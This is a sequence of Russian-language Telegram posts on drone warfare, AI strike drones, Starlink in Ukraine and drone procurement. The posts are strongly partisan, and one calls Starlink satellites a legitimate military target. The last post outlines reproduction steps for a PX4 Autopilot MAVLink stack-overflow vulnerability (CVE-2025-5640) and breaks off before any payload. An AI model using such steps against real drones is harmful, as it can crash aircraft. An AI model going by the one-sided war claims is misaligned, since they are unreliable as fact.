На фоне результатов операторов БПЛА ВС РФ это звучит смехотворно
Please open Telegram to view this post
VIEW IN TELEGRAM
😁1
This media is not supported in your browser
VIEW IN TELEGRAM
Он был оснащен теми же системами от американо-германской компании-разработчика программного обеспечения Auterion, что и беспилотники, которые Украина использует против российских танков и военно-морских средств, заявили Thunder Tiger и Auterion.
Дрон, названный Overkill, оснащен ударной системой искусственного интеллекта и камерой Auterion. Генеральный директор Auterion Лоренц Майер заявил, что эти функции дают Тайваню те же возможности, которые Украина использовала для уничтожения российских танков Т-90М в августе прошлого года и уничтожения радара российской нефтяной вышки несколько недель назад.
Вашингтон стремится заменить китайские компоненты в своей цепочке поставок беспилотников, в то время как Тайбэй надеется, что продажи в США помогут его компаниям, производящим беспилотники, нарастить мощности, необходимые для выполнения будущих заказов от собственных вооруженных сил.
Но обе инициативы не спешили давать результаты. По данным поддерживаемого правительством аналитического центра Research Institute for Democracy, Society and Emerging Technology, за 12 месяцев по апрель вся тайваньская индустрия беспилотников произвела менее 10 000 единиц — менее 6 процентов от целевого показателя на 2028 год.
Генеральный директор Thunder Tiger Джин Су назвал 25 000 единиц, озвученные Мейером, «приблизительной цифрой», но подтвердил, что компания ведет переговоры с несколькими потенциальными экспортными клиентами.
«Мы считаем, что экспорт — это очень большая возможность в ближайшей перспективе в Юго-Восточной Азии», — сказал он, назвав Филиппины, Вьетнам, Индию и Индонезию в качестве потенциальных рынков. «Никто из них не хочет китайские детали».
Под нависшей угрозой от Китая, США усиливают оборонный потенциал своих союзников. Это не просто поставка вооружений, а часть стратегического ответа на китайскую милитаризацию региона и подготовку к потенциальному конфликту. В результате, противостояние США и Китая переходит в высокотехнологичную фазу, где ключевую роль играют автономные системы и точечные средства сдерживания.
Please open Telegram to view this post
VIEW IN TELEGRAM
『 Илон Маск убивает русских солдат 』
Как Starlink помогает ВСУ убивать наших солдат?
"Если бы не Starlink, российские войска стояли бы на границе с Польшей"
— Госсекретарь США Марко Рубио
🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂
Самый богатый человек в мире, гонясь за колонизацией Марса, решил заработать копеечку убийством российских солдат.
🙂 Надо отвечать сбитием его «спутникового созвездия»
— это легитимная военная цель🙂
⭐️ Полезная Нагрузка
28 февраля 2022 года на Украину пришла первая партия терминалов спутникового интернета Starlink.🙂 🙂 🙂 🙂 🙂 🙂
Первоначально терминалы предназначались для гуманитарных целей — обеспечения связи для больниц, банков и пострадавших семей, но вскоре их начали активно использовать украинские военные для координации и управления на передовой.🙂 Уже в 2022 году возникли вопросы о финансировании. SpaceX сообщила, что не может продолжать поставки бесплатно, и запросила поддержку от Пентагона.🙂 Расходы на обслуживание и поставки новых терминалов начали покрывать правительство США и страны НАТО.🙂 На 2025 год SpaceX поставил на Украину 50 тысяч терминалов, 85% оплачены США, Польшей и Великобританией.
Как Starlink помогает ВСУ убивать наших солдат?
Начнём с того, что украинская армия без Starlink вообще не может поддерживать взаимодействие между родами войск.🙂 Именно низкоорбитальная спутниковая группировка Илона Маска позволяет украинцам применять дроны типа «Баба-Яга» или запускать FPV-дроны на десятки километров в наш тыл, используя дроны-ретрансляторы с прикреплёнными к ним терминалами Starlink.🙂 Терминалы также устанавливают на украинские БЭКи, которые используются в атаках на Крым или Черноморский флот. Без спутникового интернета такие операции были бы невозможны.🙂 Кратно ускорилась координация артиллерийских ударов и передача данных между разведкой и пехотой на фронте, в том числе в котлах.
Starlink для Украины стал заменой зашифрованной связи в реальном времени в боевых условиях, а для нас он стал причиной гибели сотен военнослужащих.Starlink используется и ВС РФ тоже, но в десятикратно меньшем количестве и не является обязательным условием для существования нашей армии
"Если бы не Starlink, российские войска стояли бы на границе с Польшей"
— Госсекретарь США Марко Рубио
Самый богатый человек в мире, гонясь за колонизацией Марса, решил заработать копеечку убийством российских солдат.
— это легитимная военная цель
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔4✍2😱1
『Русские терминаторы』
Самые эффективные модели СВО
Уран-6 — робот-сапёр
Курьер — робот-штурмовик
"Беспилотные системы, включая наземные робототехнические комплексы, становятся важнейшим элементом современной войны. Мы активно наращиваем производство дронов, в том числе с использованием искусственного интеллекта, чтобы обеспечить технологическое превосходство на поле боя"
— Владимир Путин, форум Армия-2024.
🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂
Дроны воюют вместо людей — звучит круто, но давайте вернёмся к реальности.
Штурмы посадок и окопов по-прежнему проводят люди, а не "терминаторы". Поэтому отрасль НРТК остаётся экспериментальной. Рассчитывать на неё пока рано, но развивать - необходимо.
⭐️ Полезная Нагрузка
Практически с самого начала СВО Россия использует боевые дроны или по официальному — НРТК
НРТК - наземный робототехнический комплекс.
Основные задачи -
1. Разминирование
2. Поддержка огнём
3. Подвоз припасов🙂 ВС РФ располагают ≈ 400 единиц различных НРТК на данный момент, но число стремительно растёт.🙂 В условиях активного применения дронов противника, применение таких дронов позволяет меньше рисковать жизнями солдат и дорогостоящей техникой.
Самые эффективные модели СВО
Уран-6 — робот-сапёр
Вес: 600 кг
Скорость: до 5 км/ч
Время работы: 5 часов на одной заправке
Движитель: гусеничный
Двигатель: 240 л.c
Дальность управления: до 800м
Вооружение: Комплекс оснащен пятью различными сменными инструментами: бойковым, катковым и фрезерным тралами, а также бульдозерным отвалом и механическим схватом.
Боевое применение
Курьер — робот-штурмовик
Вес: 250 кг
Скорость: до 35 км/ч
Время работы: от 12 до 72 часов
Движитель: гусеничный
Электродвигатели: 6 кВт
Дальность управления: от 3 до 10 км
Возможное вооружение:
▪️︎12,7-мм пулемёт НСВТ Утёс
▪️︎7,62-мм пулемёт ПКМ/ПКТ
▪️︎12,7-мм пулемёт «Корд»🙂 Автоматический гранатомёт АГС-17🙂 Реактивные огнемёты РПО «Шмель-М»🙂 Противотанковые ракетные комплексы🙂 Система минирования ( до 8 мин ТМ)🙂 Модуль разминирования (Каток спереди)
Боевое применение #1
Боевое применение #2
"Беспилотные системы, включая наземные робототехнические комплексы, становятся важнейшим элементом современной войны. Мы активно наращиваем производство дронов, в том числе с использованием искусственного интеллекта, чтобы обеспечить технологическое превосходство на поле боя"
— Владимир Путин, форум Армия-2024.
Дроны воюют вместо людей — звучит круто, но давайте вернёмся к реальности.
Штурмы посадок и окопов по-прежнему проводят люди, а не "терминаторы". Поэтому отрасль НРТК остаётся экспериментальной. Рассчитывать на неё пока рано, но развивать - необходимо.
Please open Telegram to view this post
VIEW IN TELEGRAM
🫡4✍1
『Беспилотные поезда - тоже дроны』
В Москве начался финальный этап тестирования беспилотных поездов на маршрутах метро. Испытания проводятся без пассажиров.
🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂
Идея беспилотных поездов не нова — подобные системы уже успешно работают по всему миру, от Сингапура до Парижа.
Россия не является первопроходцем в этой технологии, но запуск беспилотных поездов в московском метро это логичный шаг вперёд для автоматизации транспорта.
В комментариях к новостям о новых поездах многие москвичи просят маркировать такие поезда - люди бояться доверять ИИ свою жизнь, это нормально.
⭐️ Полезная Нагрузка
В Москве начался финальный этап тестирования беспилотных поездов на маршрутах метро. Испытания проводятся без пассажиров.
"Искусственный интеллект обеспечит разгон, торможение, а также открытие и закрытие дверей. Во время испытаний в кабине будет находиться машинист для контроля работы системы и обеспечения безопасности. К концу 2026 года планируется подготовить рабочий образец поезда способного курсировать в беспилотном режиме с учётом интервалов московского метро - 90 секунд в наиболее актуальные часы на основных линиях"
— Мэр Москвы, Сергей Собянин
Идея беспилотных поездов не нова — подобные системы уже успешно работают по всему миру, от Сингапура до Парижа.
Россия не является первопроходцем в этой технологии, но запуск беспилотных поездов в московском метро это логичный шаг вперёд для автоматизации транспорта.
В комментариях к новостям о новых поездах многие москвичи просят маркировать такие поезда - люди бояться доверять ИИ свою жизнь, это нормально.
Please open Telegram to view this post
VIEW IN TELEGRAM
✍3😇1
『Коалиция дронов』
Украина как полигон западного мира
Страны участники:
Бюджет на 2025г —
€2.75 миллиарда
Как это работает —
Страны участники вкладывают средства в производство и доставку дронов/РЭБ, запчастей к ним на Украину. Страны сотрудничают с своими локальными разработчиками и производителями дронов, проводя закупки по конкурсной процедуре.
Пример
🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂
По сути Коалиция Дронов это инвестиционный фонд для стран западного полушария который стимулирует экономику, продвигает геополитическую позицию и развивает собственную армию.
Страны в этом списке проводят последовательную антироссийскую политику. Обратите внимание на свежего участника коалиции - 🇹🇷 Турцию
Они снова взялись спонсировать ВСУ, а мы им АЭС строим...
⭐️ Полезная Нагрузка
Украина как полигон западного мира
Коалиция дронов — Международный альянс, целью которого является снабжение Украины беспилотниками и системами РЭБ для усиления возможностей ВСУ.
Коалиция сформирована в феврале 2024 года в рамках Контактной группы по обороне Украины и Совета Украина-НАТО.
Страны участники:
🇦🇺 Австралия
🇧🇪 Бельгия
🇬🇧 Великобритания
🇩🇪 Германия
🇩🇰 Дания
🇮🇹 Италия
🇨🇦 Канада
🇱🇻 Латвия
🇱🇹 Литва
🇱🇺 Люксембург
🇳🇱 Нидерланды
🇳🇿 Новая Зеландия
🇳🇴 Норвегия
🇵🇱 Польша
🇹🇷 Турция
🇫🇷 Франция
🇨🇿 Чехия
🇸🇪 Швеция
🇪🇪 Эстония
Бюджет на 2025г —
€2.75 миллиарда
Как это работает —
Страны участники вкладывают средства в производство и доставку дронов/РЭБ, запчастей к ним на Украину. Страны сотрудничают с своими локальными разработчиками и производителями дронов, проводя закупки по конкурсной процедуре.
Пример
🇳🇱 Нидерланды инвестируют 500 миллионов евро в концепцию СБС Украины «Линия Дронов» интеграции БПЛА в фронтовые операции.
В чём профит Нилерландов?
▪︎Деньги тратяться в самих Нидерландах - идёт развитие национальной экономики и ВПК
▪︎Получают знания и практический опыт применения дронов на реальной, современной войне.
▪︎Геополитическое влияние в рамках🇺🇸 НАТО
По сути Коалиция Дронов это инвестиционный фонд для стран западного полушария который стимулирует экономику, продвигает геополитическую позицию и развивает собственную армию.
Страны в этом списке проводят последовательную антироссийскую политику. Обратите внимание на свежего участника коалиции - 🇹🇷 Турцию
Они снова взялись спонсировать ВСУ, а мы им АЭС строим...
Please open Telegram to view this post
VIEW IN TELEGRAM
😡4
『Логистика севера』
Применение дронов для доставки грузов в северных регионах России
Для каких регионов это актуально?
Эксперимент "Почты России"
Стартовал в апреле 2022 года и продлился до апреля 2025 года.
Цель — тестирование беспилотников для доставки грузов в удалённые районы, где традиционная логистика дорога или сезонно ограничена.
Использовались одновинтовые дроны:
- SH-450 от "Аэромакс"
- ВТ-440 от "Радар ММС"
Со средней дальностью в 400км и грузоподъемностью в 100кг.
🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂
Результат
🙂 Доставка грузов дронами в рамках эксперимента «Почты России» на крайнем севере обходится в 13.6 тыс. руб./кг, что в 152 раза дороже стоимости перевозки кг на регулярных вертолётных рейсах.
🙂 Дроны пока нестабильны в северных условиях: ветер, холод и отсутствие связи вызывают сбои, особенно в болотистой местности.
🙂 Мультироторные дроны типа "Баба Яга" могли бы отлично дополнять рейсы одновинтовых дронов в плане доставки бытовых вещей: продуктов, медикаментов.
🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂
Дроны перспективны для доставки в труднодоступные районы, но высокая стоимость и технические ограничения требуют дальнейших доработок.
Сейчас это просто экономически неэффективно, но в теории может стать новой работой вахтовым методом для операторов ветеранов СВО.
⭐️ Полезная Нагрузка
Применение дронов для доставки грузов в северных регионах России
На данный момент вертолёты являются основном, круглогодичным способом доставки грузов для северных регионов России, помимо сезонного транспорта - машин.
Для каких регионов это актуально?
- Ямало-Ненецкий автономный округ
- Ненецкий автономный округ
- Республика Саха (Якутия)
- Красноярский край
- Чукотский автономный округ
- Мурманская область
- Ханты-Мансийский автономный округ
- Республика Коми
- Магаданская область
- Камчатский край
Эксперимент "Почты России"
Стартовал в апреле 2022 года и продлился до апреля 2025 года.
Цель — тестирование беспилотников для доставки грузов в удалённые районы, где традиционная логистика дорога или сезонно ограничена.
Использовались одновинтовые дроны:
- SH-450 от "Аэромакс"
- ВТ-440 от "Радар ММС"
Со средней дальностью в 400км и грузоподъемностью в 100кг.
Результат
Дроны перспективны для доставки в труднодоступные районы, но высокая стоимость и технические ограничения требуют дальнейших доработок.
Сейчас это просто экономически неэффективно, но в теории может стать новой работой вахтовым методом для операторов ветеранов СВО.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2😇2
Forwarded from КЦПН. Координационный Центр Помощи Новороссии.
CSIS_Война_беспилотников_между_Россией_и_Украиной_Инновации_на_фронте.pdf
12.2 MB
👹Участники мероприятия – люди довольно маститые и глубоко погружённые в эту тематику. Это Грегори К. Аллен – директор центра ИИ им. Вадхвание; Сэмюэль Бендетт – эксперт по военным технологиям России. Конечно же, не обошлись без Катерины Бондарь – уроженки Украины, научного сотрудника канадского филиала разведки и безопасности CSIS. Она давно изучает нас и является автором многих работ и докладов по нашим инновациям, таких как «Внутри российского плана по созданию автономных роёв беспилотников». По совместительству она матёра русофобка
На этом мероприятии обсуждались следующие темы
🔸Война нового типа, в которой дроны заменяют артиллерию. Беспилотники уже не просто разведка — они выполняют ударные миссии, логистические задачи и даже заменяют традиционные артиллерийские снаряды. Особенно актуально это в условиях дефицита боеприпасов. Также они – ключевой элемент тактики
🔸Украинский подход. «Зоопарк технологий» и креативность. Разные производители создают несовместимые системы («зоопарк»), что усложняет управление. Украина работает над стандартизацией, чтобы объединить технологии в единую сеть. Ключевой принцип Киева — гибкость: использование коммерческих компонентов (ховерборды, дешевые камеры) и адаптация под полевые условия
🔸Российская стратегия. От хаоса к системному подходу. Россия изначально отставала, но теперь активно копирует и дорабатывает украинский опыт. В ходе беседы глубоко анализируются наши преимущества и проблемы
🔶Технологические вызовы. ИИ, автономность и будущее. Сейчас ИИ применяется в основном для обработки данных (например, распознавание целей на видео). Полностью автономные дроны пока не готовы к бою из-за проблем с точностью и управлением. Эксперта сошлись в том, что человек-оператор остается ключевым. Даже при терминальном наведении решение об ударе принимает человек, а не алгоритм. Если конфликт продлится 5 лет, Украина и Россия могут выйти на новый уровень автономных систем. Однако это потребует решения этических и технических вопросов
🔸Уроки войны. Что изменится в будущем? Опыт Украины и России повлияет на военные доктрины по всему миру. Электронная война и физическое уничтожение дронов станут стандартом. Россия уже внедряет UGV для минирования и разминирования. Побеждает тот, кто может быстро и массово производить и модернизировать дроны
🔸Война как лаборатория инноваций. Конфликт на Украине стал полигоном для испытания дронов. Эксперты отмечают, что технологии уже не вернутся в прежнее состояние. В будущем войны будут зависеть не от количества танков, а от способности интегрировать ИИ, создавать дешёвые автономные системы и противостоять вражеским дронам
Недаром военная мудрость, написанная кровью, гласит: «Либо ты учишься и развиваешься, либо ты убит». И это как никогда актуально применительно не только к конкретному бойцу, но и ко всей стране в целом
Cogito ergo vinco
МЫСЛЮ, СЛЕДОВАТЕЛЬНО, ПОБЕЖДАЮ!
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔3✍1
『Российские дроны с ИИ』
Техническая эволюция идентификации вражеских целей
🇷🇺 БПЛА с успешно интегрированным ИИ:
«Русак-С» — дрон-камикадзе
«Микроб» — дрон-камикадзе
«Молния» — ударный дрон
«Орлан» — разведовательный БПЛА
«Ланцет» — барражирующий боеприпас
Список неполный из-за ограниченной информации в интернете про военные разработки, но подобных дронов точно больше как производится так и тестируется.
🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂
Дроны с ИИ - это оружие будущего.
Благо что в этом направлении мы не отстаём от мира или украины, а сами задаём темп и новые стандарты в рамках СВО.
⭐️ Полезная Нагрузка
Техническая эволюция идентификации вражеских целей
Искусственный интеллект позволяет боевым беспилотникам самостоятельно распознавать цели и определять их приоритет.🙂 Если дрон потеряет связь с оператором из-за вражеского РЭБа, он всё равно автономно полетит к цели.🙂 ИИ также может применяться гражданскими дронами, например, для поиска пропавших людей.
🇷🇺 БПЛА с успешно интегрированным ИИ:
«Русак-С» — дрон-камикадзе
«Микроб» — дрон-камикадзе
«Молния» — ударный дрон
«Орлан» — разведовательный БПЛА
«Ланцет» — барражирующий боеприпас
Дроны с ИИ - это оружие будущего.
Благо что в этом направлении мы не отстаём от мира или украины, а сами задаём темп и новые стандарты в рамках СВО.
Please open Telegram to view this post
VIEW IN TELEGRAM
🫡3❤🔥1😍1
『Российские дроны с VTOL』
Почему их так мало?
🖍 Исторически сложилось, что самолеты с технологией вертикального взлета и посадки (VTOL) разрабатываются и используются странами для морского флота, в частности для авианосцев. После распада Советского Союза у Российской Федерации остался только один авианосец — «Адмирал Кузнецов», который в настоящее время не боеспособен и находится в длительном ремонте.
🚩 В связи с этим разработка дорогостоящих и технологически сложных узкоспециализированных VTOL-самолетов не имеет практического смысла.
Вместо этого Россия сфокусировалась на традиционных самолётах, которые дешевле и эффективнее.
🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂
А причём тут дроны?
🙂 Однако в зоне СВО сейчас проходит испытания VTOL-дрон — «Воган-9СП», одноразового дрона-перехватчика.
Он способен к вертикальному взлету и посадке (VTOL), после чего переходит в горизонтальный полет, как самолет.
🙂 Это уникальный пример применения технологии VTOL в условиях СВО.
🙂 Технические характеристики и эффективность дрона пока сложно оценить, но мы будем внимательно следить за его дальнейшей судьбой.
🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂
Подобные инновации позволяют России задавать тренды и устанавливать свои правила игры, что значительно эффективнее, чем следовать чужим стандартам.
Аналогичных VTOL дронов в мире крайне мало.
⭐️ Полезная Нагрузка
Почему их так мало?
Технология VTOL (Vertical Take-Off and Landing) для дронов позволяет выполнять вертикальный взлет и посадку, как у вертолета, без необходимости в взлетно-посадочной полосе, а также переходить в горизонтальный полет, как у самолета, для большей дальности и эффективности. Обычно реализуется через гибридные системы (электрические роторы для взлета/посадки и маршевый двигатель для полета).
Примеры из мира самолётов -🇷🇺 Як-38 — палубный VTOL-истребитель
🇺🇸 F-35B — многоцелевой VTOL-истребитель
🇬🇧 AV-8B — VTOL-штурмовик
🇺🇸 V-22 Osprey — транспортный конвертоплан
(гибрид самолета и вертолета)
Вместо этого Россия сфокусировалась на традиционных самолётах, которые дешевле и эффективнее.
А причём тут дроны?
Ответ на вопрос, почему в России не применяют VTOL-дроны, схож с причинами прекращения производства VTOL-самолетов после 1991 года:
— Можно создавать более дешевые и эффективные решения без сложных технологий, типа специализированных двигателей.
Он способен к вертикальному взлету и посадке (VTOL), после чего переходит в горизонтальный полет, как самолет.
Подобные инновации позволяют России задавать тренды и устанавливать свои правила игры, что значительно эффективнее, чем следовать чужим стандартам.
Аналогичных VTOL дронов в мире крайне мало.
Please open Telegram to view this post
VIEW IN TELEGRAM
✍3😍1😎1
This media is not supported in your browser
VIEW IN TELEGRAM
『 Трамп дал приказ —
Дать старт американского военного беспилотного господства 』
Обращение министра обороны 🇺🇸 США, Пита Хегсета🙂
Это будущее. Мы вступаем в бой чтобы победить. Я никогда не отступлю. — мощный конец речибизнес-коуча министра обороны.
🙂 🙂 🙂 🙂 🙂 🙂 🙂 🙂
Видео в лучших традициях Голливуда: на лужайке перед Пентагоном дрон эффектно подаёт документ на подпись.
Но тех, кто следит за СВО, таким ребячеством не удивить — это театр для американской публики.
Лично я не хотел бы такой показухи в России, пусть лучше министры делами занимаются.
⭐️ Полезная Нагрузка
Дать старт американского военного беспилотного господства 』
Обращение министра обороны 🇺🇸 США, Пита Хегсета
Знаете что? Мы знаем, зачем нас сюда привели.
Мы сюда пришли, чтобы перестроить вооруженные силы, привести их потенциал в соответствие с сегодняшними угрозами.
Пока наши противники производили миллионы дешевых беспилотников до нас, мы погрязли в бюрократической волоките.
Теперь уже нет. В июне президент Трамп издал указ, развязывающий американское беспилотное господство.
Чтобы укрепить нашу беспилотную промышленность и вооружить наших бойцов, потому что в этом вся наша суть.
Поэтому сегодня я отменяю ограничительную политику, которая мешает производству, и это позволит высвободить американское производство и изобретательность наших бойцов, сделав три ключевые вещи.
Во-первых, мы укрепим производственную базу беспилотников в США, выпустив тысячи изделий американского производства.
Приоритет "Покупайте американское" для вооружения боевых подразделений различными экономически эффективными беспилотниками американского производства.
Используя наших ведущих мировых инженеров и экспертов по искусственному интеллекту. И в-третьих, мы будем тренироваться так же, как и воевать.
Старшие офицеры должны преодолеть бюрократическую неприязнь к риску при составлении бюджета, создании оружия и обучении. И вот меморандум, доставленный с помощью беспилотника на лужайку перед Пентагоном, на котором летают наши великие бойцы.
Это будущее. Мы вступаем в бой чтобы победить. Я никогда не отступлю. — мощный конец речи
Видео в лучших традициях Голливуда: на лужайке перед Пентагоном дрон эффектно подаёт документ на подпись.
Но тех, кто следит за СВО, таким ребячеством не удивить — это театр для американской публики.
Лично я не хотел бы такой показухи в России, пусть лучше министры делами занимаются.
Please open Telegram to view this post
VIEW IN TELEGRAM
😁4
Forwarded from ЦБСТ
«DOT-Chain Defence»: Украина запускает маркетплейс для прямых закупок FPV-дронов военными.
В июле 2025 года Министерство обороны Украины объявило о запуске пилотного проекта по централизованной закупке БПЛА через специализированную цифровую платформу DOT-Chain Defence. На начальном этапе в проекте примут участие 10 бригад ВСУ, которым выделено порядка $25 млн исключительно на приобретение FPV-дронов.
Этот проект — попытка создать военный маркетплейс вооружений, действующий по принципу электронной коммерции с возможностью выбора, оценки и обратной связи.
Как устроен DOT-Chain Defence — технически и организационно:
1. Фронт: бригады ВСУ
▪️Получают лимит на закупки (в рамках выделенного миллиарда).
▪️Могут выбирать из предложенных моделей БПЛА (в наличии и под заказ).
▪️Формируют заказы, отслеживают поставки, оставляют отзывы и претензии.
2. Производители дронов
▪️Размещают свою продукцию на платформе (характеристики, сроки, наличие).
▪️Обновляют данные в реальном времени.
▪️Осуществляют прямую отгрузку воинским частям (без посредников и складов).
3. Агентство оборонных закупок
▪️Централизует оплату заказов.
Контролирует логистику, собирает фидбек от бригад.
▪️Обеспечивает актуальность платформы.
Участники и масштаб:
▪️К участию допущены 80+ украинских производителей дронов, более 400 моделей БПЛА.
▪️В первые недели задействованы 15 компаний — их дроны доступны на платформе.
▪️Остальные поставщики будут подключены в течение месяца.
▪️Технологическую основу разработал офис BRDO (Better Regulation Delivery Office) — структура, курирующая цифровые реформы при участии западных фондов.
Интеграция с фронтовым приложением «Армія+»:
▪️Платформа будет синхронизирована с военным мобильным приложением.
▪️Подразделения смогут отправлять запросы на ремонт, обслуживание и техподдержку напрямую производителю.
▪️Все заявки пойдут в единую систему анализа боевого применения и надёжности техники.
Создание DOT-Chain Defence — это логичное продолжение платформы Brave1 Market, которая начала работать весной 2024 года как витрина украинских военных разработок. Однако текущий проект делает шаг дальше: он превращает армию в цифрового клиента, напрямую взаимодействующего с оборонной индустрией в режиме онлайн.
Это уже не просто закупка дронов, а:
▪️институционализация тактической дроновой войны;
▪️реализация прямого контракта «боец — разработчик»;
▪️формирование боевого рынка с отзывами, рейтингами и кастомизацией продукции под нужды конкретных бригад.
Существенный аспект: Украина тем самым формирует модель распределённого ВПК, где каждый малый производитель может выйти на фронт напрямую, минуя бюрократию. Такая система масштабируема, устойчива к ударам по логистике, адаптивна и экономически эффективна.
Стратегический вывод:
Украина, при поддержке западных ИТ-экспертов и структур, создаёт военно-экономическую модель XXI века, где дрон — это не только боевой модуль, но и единица информационно-платёжной системы, встроенной в цифровой оборонный рынок. В таких условиях борьба идёт не только на поле боя, но и в архитектуре организации производства и снабжения. И здесь ключевое преимущество получает та сторона, которая быстрее адаптирует гражданские технологии под боевые задачи.
@ano_cbst
В июле 2025 года Министерство обороны Украины объявило о запуске пилотного проекта по централизованной закупке БПЛА через специализированную цифровую платформу DOT-Chain Defence. На начальном этапе в проекте примут участие 10 бригад ВСУ, которым выделено порядка $25 млн исключительно на приобретение FPV-дронов.
Этот проект — попытка создать военный маркетплейс вооружений, действующий по принципу электронной коммерции с возможностью выбора, оценки и обратной связи.
Как устроен DOT-Chain Defence — технически и организационно:
1. Фронт: бригады ВСУ
▪️Получают лимит на закупки (в рамках выделенного миллиарда).
▪️Могут выбирать из предложенных моделей БПЛА (в наличии и под заказ).
▪️Формируют заказы, отслеживают поставки, оставляют отзывы и претензии.
2. Производители дронов
▪️Размещают свою продукцию на платформе (характеристики, сроки, наличие).
▪️Обновляют данные в реальном времени.
▪️Осуществляют прямую отгрузку воинским частям (без посредников и складов).
3. Агентство оборонных закупок
▪️Централизует оплату заказов.
Контролирует логистику, собирает фидбек от бригад.
▪️Обеспечивает актуальность платформы.
Участники и масштаб:
▪️К участию допущены 80+ украинских производителей дронов, более 400 моделей БПЛА.
▪️В первые недели задействованы 15 компаний — их дроны доступны на платформе.
▪️Остальные поставщики будут подключены в течение месяца.
▪️Технологическую основу разработал офис BRDO (Better Regulation Delivery Office) — структура, курирующая цифровые реформы при участии западных фондов.
Интеграция с фронтовым приложением «Армія+»:
▪️Платформа будет синхронизирована с военным мобильным приложением.
▪️Подразделения смогут отправлять запросы на ремонт, обслуживание и техподдержку напрямую производителю.
▪️Все заявки пойдут в единую систему анализа боевого применения и надёжности техники.
Создание DOT-Chain Defence — это логичное продолжение платформы Brave1 Market, которая начала работать весной 2024 года как витрина украинских военных разработок. Однако текущий проект делает шаг дальше: он превращает армию в цифрового клиента, напрямую взаимодействующего с оборонной индустрией в режиме онлайн.
Это уже не просто закупка дронов, а:
▪️институционализация тактической дроновой войны;
▪️реализация прямого контракта «боец — разработчик»;
▪️формирование боевого рынка с отзывами, рейтингами и кастомизацией продукции под нужды конкретных бригад.
Существенный аспект: Украина тем самым формирует модель распределённого ВПК, где каждый малый производитель может выйти на фронт напрямую, минуя бюрократию. Такая система масштабируема, устойчива к ударам по логистике, адаптивна и экономически эффективна.
Стратегический вывод:
Украина, при поддержке западных ИТ-экспертов и структур, создаёт военно-экономическую модель XXI века, где дрон — это не только боевой модуль, но и единица информационно-платёжной системы, встроенной в цифровой оборонный рынок. В таких условиях борьба идёт не только на поле боя, но и в архитектуре организации производства и снабжения. И здесь ключевое преимущество получает та сторона, которая быстрее адаптирует гражданские технологии под боевые задачи.
@ano_cbst
✍3
『 Свежий мануал армии США для танковых войск 』
Танкистов учат стрелять из основного орудия по дронам & подавать сигнал об атаке БПЛА с помощью размахивания руками.
🙂 🙂 🙂 🙂 🙂 🙂 🙂
Комментировать - только портить.
Похоже на псиоп, ну не могут же они быть такими дегенер*тами😔
⭐️ Полезная Нагрузка
Танкистов учат стрелять из основного орудия по дронам & подавать сигнал об атаке БПЛА с помощью размахивания руками.
Комментировать - только портить.
Похоже на псиоп, ну не могут же они быть такими дегенер*тами
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
😁3
Связь «Пеппа», показывающая результат!
Связь проявила себя на многих направлениях СВО, благодаря используемым нестандартным частотам и собственному шифрованному протоколу радиообмена, и показала свою эффективность.
Устанавливается на дроны крупных производителей БПЛА.
Доступны:
- проводной вынос со входом BNC для подключения НСУ 2.0 и более старших моделей;
- беспроводной вынос со штатным подключением приемников ELRS/TBS;
- легкий воздушный ретранслятор со штатным подключением приемников ELRS/TBS;
- пультовой модуль с возможностью подключения пультов управления по USB и работы с проводным выносом через кабель по интерфейсу RS-485.
Характеристики и комплектация:
- дальность связи подтверждена в боевых условиях до 30 км (до 100 км при использовании усилителя или ретрансляторов);
- устойчива к РЭБ, благодаря нестандартным частотам;
- все программное обеспечение собственной разработки;
- совместима с любым полетным контроллером по протоколу CRSF;
- приемники формируют показания RSSI и LQ;
- работает на частотах от 150 до 960МГц;
- выходная мощность без сторонних усилителей 2Вт;
- устойчивый к подмене и копиям пакетов протокол;
- надежное шифрование всего радио обмена алгоритмом AES128;
- позволяет работать рядом нескольким операторам БПЛА без взаимных помех.
Обзор противника на связь
Заказать специальную связь Пеппа
Связь проявила себя на многих направлениях СВО, благодаря используемым нестандартным частотам и собственному шифрованному протоколу радиообмена, и показала свою эффективность.
Устанавливается на дроны крупных производителей БПЛА.
Доступны:
- проводной вынос со входом BNC для подключения НСУ 2.0 и более старших моделей;
- беспроводной вынос со штатным подключением приемников ELRS/TBS;
- легкий воздушный ретранслятор со штатным подключением приемников ELRS/TBS;
- пультовой модуль с возможностью подключения пультов управления по USB и работы с проводным выносом через кабель по интерфейсу RS-485.
Характеристики и комплектация:
- дальность связи подтверждена в боевых условиях до 30 км (до 100 км при использовании усилителя или ретрансляторов);
- устойчива к РЭБ, благодаря нестандартным частотам;
- все программное обеспечение собственной разработки;
- совместима с любым полетным контроллером по протоколу CRSF;
- приемники формируют показания RSSI и LQ;
- работает на частотах от 150 до 960МГц;
- выходная мощность без сторонних усилителей 2Вт;
- устойчивый к подмене и копиям пакетов протокол;
- надежное шифрование всего радио обмена алгоритмом AES128;
- позволяет работать рядом нескольким операторам БПЛА без взаимных помех.
Обзор противника на связь
Заказать специальную связь Пеппа
❤1🔥1
CVE-2025-5640: "один пакет - минус дрон"
https://github.com/PX4/PX4-Autopilot/issues/24915
PX4 Autopilot до v1.12.3 содержит критичное переполнение стека при разборе MAVLink-сообщения
Что именно ломается
- Файл:
- Функция: handle_message_trajectory_representation_waypoints().
Буфер для waypoints лежит на стеке и меньше максимального размера сообщения; лишние байты переписывают соседнюю память - ядро гасит поток по SIGABRT
Как повторить атаку
1. Запустить PX4 SITL (jMAVSim).
2. Отправить “длинный” пакет - пример hex уже приведён в issue:
